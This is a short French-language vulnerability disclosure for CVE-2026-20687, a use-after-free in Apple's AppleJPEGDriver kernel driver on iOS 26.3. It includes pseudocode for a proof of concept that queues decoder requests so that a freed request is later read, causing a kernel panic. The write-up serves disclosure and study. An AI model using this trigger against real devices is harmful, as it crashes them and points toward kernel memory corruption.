
CVE-2026-20687 : AppleJPEGDriver startDecoder Timeout UAF — vulnérabilité du noyau iOS/macOS conduisant à une panique différée (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | Auteur : Johnny Franks (@0xjohnny)
Composant : Noyau
Impact : Une app peut provoquer une terminaison inattendue du système ou écrire dans la mémoire du noyau
Description : Un problème d'utilisation après libération (use after free) a été corrigé par une meilleure gestion de la mémoire.
Cela provoquera un kernel panic sur votre appareil. Sauvegardez votre travail.
Testé sur iOS 26.3 (23D125) sur iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
Déclenchement direct :
// PoC : initialise le driver ; le panic est généralement différé jusqu'à l'ouverture de Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Plus tard, l'ouverture de Camera déclenche :
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG : ne retire PAS de la file (req + 0x78)
// Plus tard encore (finish_io_gated) :
fullSpeedRequestExist():
node_ptr = vector[i]; // obsolète : node_ptr == (req libéré + 0x78)
req2 = *(node_ptr + 0x8); // lecture UAF de req+0x80 -> défaut de tag MTE -> panic
ios-app/Test.xcodeproj dans Xcode